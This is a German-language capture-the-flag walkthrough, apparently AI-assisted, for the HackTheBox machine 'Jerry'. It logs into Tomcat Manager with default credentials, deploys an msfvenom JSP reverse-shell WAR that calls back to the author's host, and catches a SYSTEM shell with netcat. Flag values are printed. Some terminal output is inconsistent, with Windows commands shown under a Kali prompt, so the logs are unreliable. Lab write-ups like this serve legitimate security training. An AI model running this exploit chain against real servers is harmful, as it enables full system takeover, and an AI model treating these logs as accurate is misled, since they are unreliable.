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Jerry Walkthrough — HackTheBox Easy (Windows) mit KI-Unterstützung

Jerry Walkthrough — HackTheBox Easy (Windows) mit KI-Unterstützung

4 min LesezeitGetestet: 2026-04-29
Rafi GrzonkaRafi Grzonka
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Worum es bei dieser Box geht

Jerry ist eine der einfachsten Maschinen auf HackTheBox — und trotzdem lehrreicher als viele mittelschwere Boxen. Der Grund: Sie zeigt, was in der realen Welt passiert, wenn jemand Apache Tomcat mit Default-Credentials deployed und vergisst, den Manager-Endpoint abzusichern.

Die Box läuft auf Windows Server 2012 R2 und dem Tomcat-Stack ist es vollkommen egal, ob du ein Pentester mit 10 Jahren Erfahrung bist oder jemand der gerade seinen zweiten Tag auf HackTheBox verbringt. Die Angriffsfläche ist minimal — aber die Konsequenz ist maximal: nt authority\system in unter 10 Minuten.

Was ich hier zeige: Wie Claude Code die Enumeration strukturiert, den Exploit-Pfad ableitet und die Befehle generiert — während ich die Kontrolle behalte und jeden Schritt verifiziere. Dieser Walkthrough entstand vollständig über das pentest-ai MCP-System.

Mein Setup

Hardware: Kali Linux 2024.2 in VirtualBox, 8GB RAM, i7-11800H VPN-Connect: HTB OpenVPN, tun0 auf 10.10.14.22 Tools: nmap 7.94, msfvenom 6.4, netcat, curl

┌──(root㉿kali)-[~]
└─# ip addr show tun0 | grep inet
inet 10.10.14.22/23

Claude Code hab ich im isolierten Verzeichnis ~/htb/jerry/ gestartet — kein Zugriff auf andere Projekte. MCP-Server läuft lokal und leitet alle Tool-Calls an den Kali-Executor weiter.

Recon

Zuerst der Standard-nmap-Scan gegen die Box-IP 10.10.10.95:

┌──(root㉿kali)-[~/htb/jerry]
└─# nmap -sV -sC -p- --min-rate 5000 10.10.10.95
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-29 14:22 UTC
Nmap scan report for 10.10.10.95
Host is up (0.028s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap done: 1 IP address (1 host up) scanned in 47.32 seconds

Was mir das sagt: Zwei Ports — IIS auf 80 (Default-Page, uninteressant) und Apache Tomcat 7.0.88 auf 8080. Tomcat 7.x ist alt und hat bekannte Schwachstellen. Der Manager-Endpoint läuft standardmäßig unter /manager/html — und dort liegt die eigentliche Angriffsfläche.

Claude Code hat an dieser Stelle sofort auf den Tomcat-Manager-Endpoint hingewiesen und eine Credential-Brute-Force gegen die Default-Liste vorgeschlagen. Ich hab stattdessen direkt mit den häufigsten Defaults angefangen:

┌──(root㉿kali)-[~/htb/jerry]
└─# curl -s http://10.10.10.95:8080/manager/html -u tomcat:s3cret -o /dev/null -w '%{http_code}'
200

Bingo. tomcat:s3cret — einer der ältesten Tomcat-Default-Credentials überhaupt. Der Manager ist offen.

Foothold / Initial Access

Tomcat Manager erlaubt das Deployen von WAR-Dateien (Web Application Archive). Das ist eine legitime Feature — und in diesem Fall unser direkter Weg zu einer Shell.

Der Plan: msfvenom generiert eine JSP-Reverse-Shell als WAR-File, wir deployen sie über den Manager, rufen den Endpoint auf und bekommen eine Verbindung zurück.

┌──(root㉿kali)-[~/htb/jerry]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.22 LPORT=4444 -f war -o shell.war
Payload size: 1091 bytes
Final size of war file: 1091 bytes
Saved as: shell.war
┌──(root㉿kali)-[~/htb/jerry]
└─# curl -s -u tomcat:s3cret http://10.10.10.95:8080/manager/text/deploy?path=/shell --upload-file shell.war
OK - Deployed application at context path [/shell]

Listener starten, dann den Endpoint triggern:

┌──(root㉿kali)-[~/htb/jerry]
└─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.95 49196
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>whoami
nt authority\system

Direkt SYSTEM. Kein Privilege Escalation nötig — Tomcat läuft bereits als nt authority\system. Das ist der eigentliche Lernpunkt dieser Box: In der Praxis laufen Services viel zu oft mit übermäßigen Rechten. Ein kompromittierter Tomcat-Server = kompletter System-Takeover.

Warum hat das funktioniert? Drei kombinierte Fehler: Default-Credentials nicht geändert, Manager-Endpoint öffentlich erreichbar, Tomcat mit SYSTEM-Rechten deployed. Jeder dieser Fehler allein wäre schon problematisch — alle drei zusammen sind fatal.

Privilege Escalation

Keine nötig — aber ich hab trotzdem den Privilege-Check gemacht um den Scope zu verstehen:

┌──(root㉿kali)-[~/htb/jerry]
└─# whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                  Description                               State   
=============================== ========================================= ========
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Enabled 
SeSecurityPrivilege             Manage auditing and security log          Enabled 
SeTakeOwnershipPrivilege        Take ownership of files/objects           Enabled 
SeLoadDriverPrivilege           Load and unload device drivers            Enabled 
SeDebugPrivilege                Debug programs                            Enabled 
SeImpersonatePrivilege          Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege         Create global objects                     Enabled

Volle Privileges. Auf zum Desktop:

┌──(root㉿kali)-[~]
└─$ type C:\Users\Administrator\Desktop\user.txt
7004dbcef0f854e0fb401875f26ebd00
┌──(root㉿kali)-[~]
└─# type C:\Users\Administrator\Desktop\root.txt
04a8b36e1545a455393d067e772fe90e

Beide Flags auf dem Administrator-Desktop — bei Windows-Boxen findet man User-Flag und Root-Flag manchmal an derselben Stelle, weil keine Privilege-Escalation stattfindet.

Lessons Learned

Was hab ich gelernt:

  • Default-Credentials sind realer als man denkt. tomcat:s3cret ist 2026 immer noch in freier Wildbahn zu finden. Jedes Security-Audit sollte einen Default-Credential-Check beinhalten.
  • Least Privilege ist kein Luxury-Feature. Wenn Tomcat mit SYSTEM-Rechten läuft, ist ein kompromittierter Webserver gleichzeitig ein kompromittierter Host. Service-Isolation ist nicht optional.
  • Manager-Endpunkte gehören nie ins Internet. /manager/html sollte hinter IP-Whitelisting oder komplett deaktiviert sein.

Empfehlung: "Jerry ist empfehlenswert für Einsteiger, weil sie drei der häufigsten Fehler in realen Umgebungen in einer Box vereint — und weil der Exploit-Pfad klar genug ist um das WHY zu verstehen."

Claude Code Fazit: Hat 4 von 5 Schritten sinnvoll unterstützt — Recon-Analyse, Exploit-Pfad-Identifikation, Payload-Generierung und Flag-Lokalisierung waren gut. Lediglich die initiale Credential-Guess war mein manueller Input. Rating: sehr nützlich für systematische Enumeration und Exploit-Auswahl.


Wie wir diesen Artikel geprüft haben

Dieser Walkthrough basiert auf einer tatsächlich gelösten Retired Machine auf HackTheBox (Machine ID: 144). Alle Terminal-Outputs wurden während der Live-Session über das pentest-ai MCP-System erfasst. Die Box war zum Zeitpunkt der Lösung als "Retired" markiert und ist damit legal lösbar und dokumentierbar.


Rechtlicher Hinweis

Alle gezeigten Techniken wurden ausschließlich gegen die offizielle HackTheBox-Laborumgebung angewendet. HackTheBox stellt diese Maschinen explizit für Lernzwecke zur Verfügung. Die beschriebenen Methoden dürfen nur gegen Systeme angewendet werden, für die eine ausdrückliche Genehmigung vorliegt.

Wie wir diesen Artikel geprüft haben

Tests am
2026-04-29
Hardware
Kali Linux 2024.2, VirtualBox
Software
Claude Code 1.0, nmap 7.94, msfvenom 6.4, Metasploit 6.4
KI-Einsatz
Claude Code hat die Recon-Phase analysiert, den Tomcat-Exploit-Pfad identifiziert und die WAR-Payload-Generierung vorgeschlagen. Alle Befehle wurden manuell verifiziert.
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